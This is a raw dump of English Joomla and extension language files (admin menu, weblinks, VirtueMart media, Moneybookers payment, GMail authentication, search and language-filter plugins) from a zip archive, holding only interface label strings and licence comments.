COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_SUBNAV="Sub Navigation" COM_MODULES_POSITION_SYNDICATE="Syndicate" COM_MODULES_POSITION_TOP2="Top 2" COM_MODULES_POSITION_TOP3="Top 3" COM_MODULES_POSITION_TOP4="Top 4" COM_MODULES_POSITION_TOP="Top" COM_MODULES_POSITION_USER1="User 1" COM_MODULES_POSITION_USER2="User 2" COM_MODULES_POSITION_USER3="User 3" COM_MODULES_POSITION_USER4="User 4" COM_MODULES_POSITION_USER5="User 5" COM_MODULES_POSITION_USER6="User 6" COM_MODULES_POSITION_USER7="User 7" COM_MODULES_POSITION_USER8="User 8" COM_MODULES_SAVE_SUCCESS="Module successfully saved" COM_MODULES_TYPE_CHOOSE="Select a Module Type:" COM_MODULES_XML_DESCRIPTION="Component for module management in backend" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\J_!language/en-GB/en-GB.mod_menu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_CLEAR_CACHE="Clear Cache" MOD_MENU_COMPONENTS="Components" MOD_MENU_COM_CONTENT="Content" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Article Manager" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Category Manager" MOD_MENU_COM_CONTENT_FEATURED="Featured Articles" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Add New Article" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Add New Category" MOD_MENU_COM_USERS="Users" MOD_MENU_COM_USERS_ADD_GROUP="Add New Group" MOD_MENU_COM_USERS_ADD_LEVEL="Add New Access Level" MOD_MENU_COM_USERS_ADD_USER="Add New User" MOD_MENU_COM_USERS_GROUPS="Groups" MOD_MENU_COM_USERS_LEVELS="Access Levels" MOD_MENU_COM_USERS_USERS="Users" MOD_MENU_COM_USERS_USER_MANAGER="User Manager" MOD_MENU_COM_USERS_ADD_NOTE="Add User Note" MOD_MENU_COM_USERS_NOTES="User Notes" MOD_MENU_COM_USERS_NOTE_CATEGORIES="User Note Categories" MOD_MENU_CONFIGURATION="Global Configuration" MOD_MENU_CONTROL_PANEL="Control Panel" MOD_MENU_EXTENSIONS_EXTENSIONS="Extensions" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Extension Manager" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Language Manager" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Module Manager" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Plug-in Manager" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Template Manager" MOD_MENU_FIELD_FORUMURL_DESC="You may enter here the URL to another forum than the default ones." MOD_MENU_FIELD_FORUMURL_LABEL="Custom Support Forum" MOD_MENU_FIELD_SHOWHELP="Help Menu" MOD_MENU_FIELD_SHOWHELP_DESC="Show or hide the Help menu which includes links to various joomla.org sites useful to users." MOD_MENU_FIELD_SHOWNEW="Add New Shortcuts" MOD_MENU_FIELD_SHOWNEW_DESC="Show or hide various 'Add New...' shortcuts against users, groups, access levels, articles and categories." MOD_MENU_GLOBAL_CHECKIN="Global Check-in" MOD_MENU_HELP="Help" MOD_MENU_HELP_COMMUNITY="Community Portal" MOD_MENU_HELP_CURRENT="Help with this page" MOD_MENU_HELP_DEVELOPER="Developer Resources" MOD_MENU_HELP_DOCUMENTATION="Documentation Wiki" MOD_MENU_HELP_EXTENSIONS="Joomla Extensions" MOD_MENU_HELP_JOOMLA="Joomla Help" MOD_MENU_HELP_LINKS="Useful Joomla links" MOD_MENU_HELP_RESOURCES="Joomla Resources" MOD_MENU_HELP_SECURITY="Security Center" MOD_MENU_HELP_SHOP="Joomla Shop" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Official Support Forum" ; the string below will be used if the localized sample data contains an URL for the desired community forum or if the 'Custom Support Forum' field parameter in the Admin Menu module contains an url MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Custom Support Forum" ; the string below will be used if MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE has a value, i.e the # of the specific language forum in forum.joomla.org MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Official [language] forum" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="" MOD_MENU_HELP_TRANSLATIONS="Joomla Translations" MOD_MENU_HOME_DEFAULT="Home" MOD_MENU_HOME_MULTIPLE="Warning! Multiple homes!" MOD_MENU_LOGOUT="Logout" MOD_MENU_MASS_MAIL_USERS="Mass Mail Users" MOD_MENU_MEDIA_MANAGER="Media Manager" MOD_MENU_MENUS="Menus" MOD_MENU_MENU_MANAGER="Menu Manager" MOD_MENU_MENU_MANAGER_NEW_MENU="Add New Menu" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Add New Menu Item" MOD_MENU_NEW_PRIVATE_MESSAGE="New Private Message" MOD_MENU_PURGE_EXPIRED_CACHE="Purge Expired Cache" MOD_MENU_READ_PRIVATE_MESSAGES="Read Private Messages" MOD_MENU_SITE="Site" MOD_MENU_MAINTENANCE="Maintenance" MOD_MENU_SYSTEM_INFORMATION="System Information" MOD_MENU_TOOLS="Tools" MOD_MENU_USER_PROFILE="My Profile" MOD_MENU_XML_DESCRIPTION="This module shows the main admin navigation module" PK@y>\uz**(language/en-GB/en-GB.plg_editors_jce.ininuW+A; JCE Project ; Copyright (C) 2006 - 2011 Ryan Demmer. All rights reserved ; GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html ; Note : All ini files need to be saved as UTF-8 WF_EDITOR_PLUGIN_TITLE ="JCE Editor Plugin" WF_EDITOR_PLUGIN_DESC ="

      JCE (Joomla! Content Editor) is a configuration and extension system for Moxiecode's TinyMCE editor, for the Joomla! CMS.

      Credits:

      JCE would not exist without these great libraries/scripts:

      JCE is dedicated to my father.

      Changelog - for a full changelog see http://www.joomlacontenteditor.net/support/releases/changelog/editor

      " WF_EDITOR_PLUGIN_PARAMS_DESC ="All Editor Parameters are set in the JCE Configuration and JCE Editor Profiles" PLUGIN_REMOVED_LANG_FILE_MISSING ="Plugin disabled. Lanaguage file '%s' missing" COMPONENT_NOT_INSTALLED ="The JCE Administration Component is not installed! The Editor cannot function without it!"PK@y>\V?-language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PK@y>\6LL/language/en-GB/en-GB.plg_search_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Search - Content" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Enables searching in Articles"PK@y>\TQQQ$language/en-GB/en-GB.mod_submenu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Admin sub-Menu" MOD_SUBMENU_XML_DESCRIPTION="This Module shows the sub-Menu Navigation Module" PK@y>\5w%language/en-GB/en-GB.com_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WEBLINKS="Weblinks" COM_WEBLINKS_ACCESS_HEADING="Access" COM_WEBLINKS_BATCH_OPTIONS="Batch process the selected links" COM_WEBLINKS_BATCH_TIP="If choosing to copy a link, any other actions selected will be applied to the copied link. Otherwise, all actions are applied to the selected link." COM_WEBLINKS_CATEGORIES_DESC="These settings apply for Weblinks Categories Options unless they are changed for a specific menu item." COM_WEBLINKS_CATEGORY_DESC="These settings apply for Weblinks Category Options unless they are changed for a specific menu item." COM_WEBLINKS_COMPONENT_DESC="These settings apply for Weblinks unless they are changed for a specific menu item or Weblink." COM_WEBLINKS_COMPONENT_LABEL="Weblink" COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Weblinks Component will integrate with other extensions." COM_WEBLINKS_CONFIGURATION="Web Links Manager Options" COM_WEBLINKS_EDIT_WEBLINK="Edit Web Link" COM_WEBLINKS_ERR_TABLES_NAME="There is already a Web Link with that name in this category. Please try again." COM_WEBLINKS_ERR_TABLES_PROVIDE_URL="Please provide a valid URL" COM_WEBLINKS_ERR_TABLES_TITLE="Your Weblink must contain a title." COM_WEBLINKS_ERROR_UNIQUE_ALIAS="Another Weblink from this category has the same alias" COM_WEBLINKS_FIELD_ALIAS_DESC="The alias is for internal use only. Leave this blank and Joomla will fill in a default value from the title. It has to be unique for each web link in the same category." COM_WEBLINKS_FIELD_CATEGORY_DESC="Choose a category for this Web link" COM_WEBLINKS_FIELD_CATEGORYCHOOSE_DESC="Please choose a Web links category to display" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_DESC="Show/Hide the number of Web links in each Category" COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL="# Web links" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_CONFIG_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_CONFIG_DESCRIPTION_DESC="Show/Hide the description below" COM_WEBLINKS_FIELD_CONFIG_HITS_DESC="Show/Hide hits" COM_WEBLINKS_FIELD_CONFIG_ICON_DESC="If Icon is chosen above, select an icon to display with the Web links. If none is selected, the default icon will be used." COM_WEBLINKS_FIELD_CONFIG_ICON_LABEL="Select Icon" COM_WEBLINKS_FIELD_CONFIG_INTRO_DESC="Enter here a text as an introduction to the web links" COM_WEBLINKS_FIELD_CONFIG_INTRO_LABEL="Introduction" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_DESC="Show/Hide the links description" COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL="Links description" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_DESC="Show/hide other categories" COM_WEBLINKS_FIELD_CONFIG_OTHERCATS_LABEL="Other categories" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_DESC="Show/Hide the Report Bad Link option" COM_WEBLINKS_FIELD_CONFIG_SHOWREPORT_LABEL="Reports" COM_WEBLINKS_FIELD_COUNTCLICKS_DESC="If set to yes, the number of times the link has been clicked will be recorded" COM_WEBLINKS_FIELD_COUNTCLICKS_LABEL="Count Clicks" COM_WEBLINKS_FIELD_DESCRIPTION_DESC="Enter a description for the web link." COM_WEBLINKS_FIELD_DISPLAY_NUM_DESC="Default number of Web links to list on a page." COM_WEBLINKS_FIELD_DISPLAY_NUM_LABEL="# of Web links to List" COM_WEBLINKS_FIELD_HEIGHT_DESC="Height of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_HEIGHT_LABEL="Height" COM_WEBLINKS_FIELD_ICON_DESC="Displays a text, an icon or nothing with the Web links. Default is 'Icon'." COM_WEBLINKS_FIELD_ICON_LABEL="Text/Icon/Web Link Only" COM_WEBLINKS_FIELD_ICON_OPTION_ICON="Icon" COM_WEBLINKS_FIELD_ICON_OPTION_TEXT="Text" COM_WEBLINKS_FIELD_ICON_OPTION_WEBLINK="Web Link Only" COM_WEBLINKS_FIELD_LANGUAGE_DESC="Assign a language to this weblink" COM_WEBLINKS_FIELD_MODIFIED_DESC="The date and time the link was last modified" COM_WEBLINKS_FIELD_SELECT_CATEGORY_DESC="Select a weblinks category to display" COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL="Select a category" COM_WEBLINKS_FIELD_STATE_DESC="Set publication status." COM_WEBLINKS_FIELD_TARGET_DESC="Target browser window when the link is clicked" COM_WEBLINKS_FIELD_TARGET_LABEL="Target" COM_WEBLINKS_FIELD_TITLE_DESC="Web Link must have a title" COM_WEBLINKS_FIELD_URL_DESC="You must enter a URL." COM_WEBLINKS_FIELD_URL_LABEL="URL" COM_WEBLINKS_FIELD_VALUE_REPORTED="Reported" COM_WEBLINKS_FIELD_WIDTH_DESC="Width of the target popup or modal window. Defaults to 600x500 if one field is left empty." COM_WEBLINKS_FIELD_WIDTH_LABEL="Width" COM_WEBLINKS_FIELDSET_OPTIONS="Basic Options" COM_WEBLINKS_FILTER_CATEGORY="Filter Category" COM_WEBLINKS_FILTER_STATE="Filter State" COM_WEBLINKS_HITS_DESC="Number of hits for this weblink" COM_WEBLINKS_LIST_LAYOUT_DESC="These settings apply for Weblinks List Layout Options unless they are changed for a specific menu item." COM_WEBLINKS_MANAGER_WEBLINK="Web Links Manager: Web Link" COM_WEBLINKS_MANAGER_WEBLINKS="Web Links Manager: Web Links" COM_WEBLINKS_N_ITEMS_ARCHIVED="%d weblinks successfully archived" COM_WEBLINKS_N_ITEMS_ARCHIVED_1="%d weblink successfully archived" COM_WEBLINKS_N_ITEMS_CHECKED_IN_0="No weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_1="%d weblink successfully checked in" COM_WEBLINKS_N_ITEMS_CHECKED_IN_MORE="%d weblinks successfully checked in" COM_WEBLINKS_N_ITEMS_DELETED="%d weblinks successfully deleted" COM_WEBLINKS_N_ITEMS_DELETED_1="%d weblink successfully deleted" COM_WEBLINKS_N_ITEMS_PUBLISHED="%d weblinks successfully published" COM_WEBLINKS_N_ITEMS_PUBLISHED_1="%d weblink successfully published" COM_WEBLINKS_N_ITEMS_TRASHED="%d weblinks successfully trashed" COM_WEBLINKS_N_ITEMS_TRASHED_1="%d weblink successfully trashed" COM_WEBLINKS_N_ITEMS_UNPUBLISHED="%d weblinks successfully unpublished" COM_WEBLINKS_N_ITEMS_UNPUBLISHED_1="%d weblink successfully unpublished" COM_WEBLINKS_NEW_WEBLINK="New Web link" COM_WEBLINKS_OPTION_FILTER_ACCESS="- Filter Access -" COM_WEBLINKS_OPTION_FILTER_CATEGORY="- Filter Category -" COM_WEBLINKS_OPTION_FILTER_PUBLISHED="- Filter State -" COM_WEBLINKS_OPTIONS="Options" COM_WEBLINKS_ORDER_HEADING="Order" COM_WEBLINKS_SAVE_SUCCESS="Weblink successfully saved" COM_WEBLINKS_SEARCH_IN_TITLE="Search in title" COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Weblinks or subcategories." COM_WEBLINKS_SUBMENU_CATEGORIES="Categories" COM_WEBLINKS_SUBMENU_WEBLINKS="Web Links" COM_WEBLINKS_XML_DESCRIPTION="Component for web links management" JGLOBAL_NO_ITEM_SELECTED="No weblinks selected" JGLOBAL_NEWITEMSLAST_DESC="New Weblinks default to the last position. Ordering can be changed after this Weblink is saved." JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new weblinks in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these weblinks." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\p 3language/en-GB/en-GB.plg_vmpayment_moneybookers.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Skrill Holdings Ltd. ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers ; Titles and headings VMPAYMENT_MONEYBOOKERS_ORDER_NUMBER="Order No" VMPAYMENT_MONEYBOOKERS_PAYMENT_TITLE="Moneybookers merchant account settings" VMPAYMENT_MONEYBOOKERS_PAYMENT_WARNING="Warning - In VM2, the vendor and buyer will ONLY receive an email when the transaction is complete." VMPAYMENT_MONEYBOOKERS_PAYMENT_SETTINGS="Account details" VMPAYMENT_MONEYBOOKERS_RESTRICTIONS="Restrictions" VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUSES="Payment status" ; Fields and buttons labels VMPAYMENT_MONEYBOOKERS_LOGOS="Logos" VMPAYMENT_PAY_TO_EMAIL="Merchant email" VMPAYMENT_SECRET_WORD="Secret word" VMPAYMENT_LOGOURL="Merchant logo URL" VMPAYMENT_MONEYBOOKERS_CURRENCY="Currency" VMPAYMENT_MONEYBOOKERS_COUNTRIES="Countries" VMPAYMENT_STATUS_PENDING="Order Status for Pending transactions" VMPAYMENT_STATUS_SUCCESS="Order Status for Sucessful/Completed transactions" VMPAYMENT_STATUS_FAILED="Order Status for Failed transactions" VMPAYMENT_MONEYBOOKERS_REDIRECT_MESSAGE="Please wait while redirecting to Moneybookers" VMPAYMENT_HIDELOGIN="Hide the login section on the gateway page" ; Descriptions/Tips of all fields VMPAYMENT_MONEYBOOKERS_LOGOS_DESC="Logos to be displayed with the payment method name" VMPAYMENT_PAY_TO_EMAIL_DESC="Email address of the Merchant’s moneybookers.com account" VMPAYMENT_SECRET_WORD_DESC="The secret word will be used to validate gateway transaction responses, it should not exceed 10 characters" VMPAYMENT_LOGOURL_DESC="The URL of the merchant logo which you would like to appear at the top of the gateway. Example: http://www.example-merchant.com/logo.jpg" VMPAYMENT_MONEYBOOKERS_CURRENCY_DESC="Currency accepted for the payment" VMPAYMENT_MONEYBOOKERS_COUNTRIES_DESC="Please select the countries for which this payment method applies. If no country is selected, this payment method will be applied for all countries" VMPAYMENT_HIDELOGIN_DESC="Merchants can show their customers the gateway page without the prominent login section." ; error messages VMPAYMENT_MONEYBOOKERS_ERROR_POSTING_IPN="Error posting IPN for payment method Moneybookers: %1s, %2d." VMPAYMENT_MONEYBOOKERS_DISPLAY_GWERROR="The payment processing through MoneyBookers is currently unavailable, please contact the site administrator for further details." VMPAYMENT_MONEYBOOKERS_PAYMENT_AMOUNT_INCORRECT="Payment amount incorrect for payment method Moneybookers." VMPAYMENT_MONEYBOOKERS_MERCHANT_EMAIL_NOT_SET="Merchant email not set for payment method Moneybookers." VMPAYMENT_MONEYBOOKERS_PAYMENT_CANCELLED="The payment through Moneybookers was cancelled. Reason: " VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_CONFIRMED="The payment through Moneybookers for order %s was successful." VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_PENDING="The payment through Moneybookers for order %s is pending. Reason: " ; status message labels VMPAYMENT_MONEYBOOKERS_PAYMENT_NAME="Payment Name" VMPAYMENT_MB_PAY_TO_EMAIL="Merchant email" VMPAYMENT_MB_PAY_FROM_EMAIL="Customer email" VMPAYMENT_MB_MERCHANT_ID="Merchant ID" VMPAYMENT_MB_TRANSACTION_ID="Transaction ID" VMPAYMENT_MB_REC_PAYMENT_ID="Recurring payment ID" VMPAYMENT_MB_REC_PAYMENT_TYPE="Recurring payment type" VMPAYMENT_MB_AMOUNT="Amount" VMPAYMENT_MB_CURRENCY="Currency" VMPAYMENT_MB_STATUS="Status" VMPAYMENT_MB_MD5SIG="MD5 Signature" VMPAYMENT_MB_SHA2SIG="SHA2 Signature" PK@y>\)5language/en-GB/en-GB.plg_authentication_gmail.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_GMAIL="Authentication - GMail" PLG_GMAIL_XML_DESCRIPTION="Handles User Authentication with a GMail or Googlemail account (Requires cURL)
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\3MM-language/en-GB/en-GB.com_chronoforms.menu.ininuW+ACOM_CHRONOFORMS="ChronoForms" COM_CHRONOFORMS.COM_CHRONOFORMS_FORMS_MANAGER="Forms Manager" COM_CHRONOFORMS.COM_CHRONOFORMS_WIZARD="Form Wizard" COM_CHRONOFORMS.COM_CHRONOFORMS_EASY_WIZARD="Easy Form Wizard" COM_CHRONOFORMS.COM_CHRONOFORMS_VALIDATE="Validate Installation" COM_CHRONOFORMS.COM_CHRONOFORMS_UPDATES="Apply Updates"PK@y>\o\\0language/en-GB/en-GB.plg_search_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Search - Contacts" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Enables searching of the Contact Component"PK@y>\ڸo.language/en-GB/en-GB.plg_editors-xtd_image.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Button - Image" PLG_IMAGE_BUTTON_IMAGE="Image" PLG_IMAGE_XML_DESCRIPTION="Displays a button to make it possible to insert images into an Article. Displays a popup allowing you to configure an image's properties and upload new image files." PK@y>\C 2language/en-GB/en-GB.plg_system_languagefilter.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Browser Settings" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Add alternate meta tags for menu items with associated menu items in other languages." PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Add alternate meta tags" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="This option will automatically change the content language used in the frontend when a user site language is changed" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Automatic Language Change" PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_DESC="Language cookies can be set to expire at the end of the session or after a year. Default is a year." PLG_SYSTEM_LANGUAGEFILTER_FIELD_COOKIE_LABEL="Cookie Lifetime" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Choose Site default language or try to detect the browser settings language. It will default to site language if browser settings can't be found." PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Language Selection for new Visitors." PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="This option will allow menu associations when switching from one language to another" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Menu associations" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Remove the defined URL Language Code of the Content Language that corresponds to the default site language when Search Engine Friendly URLs is set to 'Yes'." PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Remove URL Language Code" PLG_SYSTEM_LANGUAGEFILTER_OPTION_SESSION="Session" PLG_SYSTEM_LANGUAGEFILTER_OPTION_YEAR="Year" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Site Language" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language.
      This plugin is to be enabled only when the Language Switcher module is published.
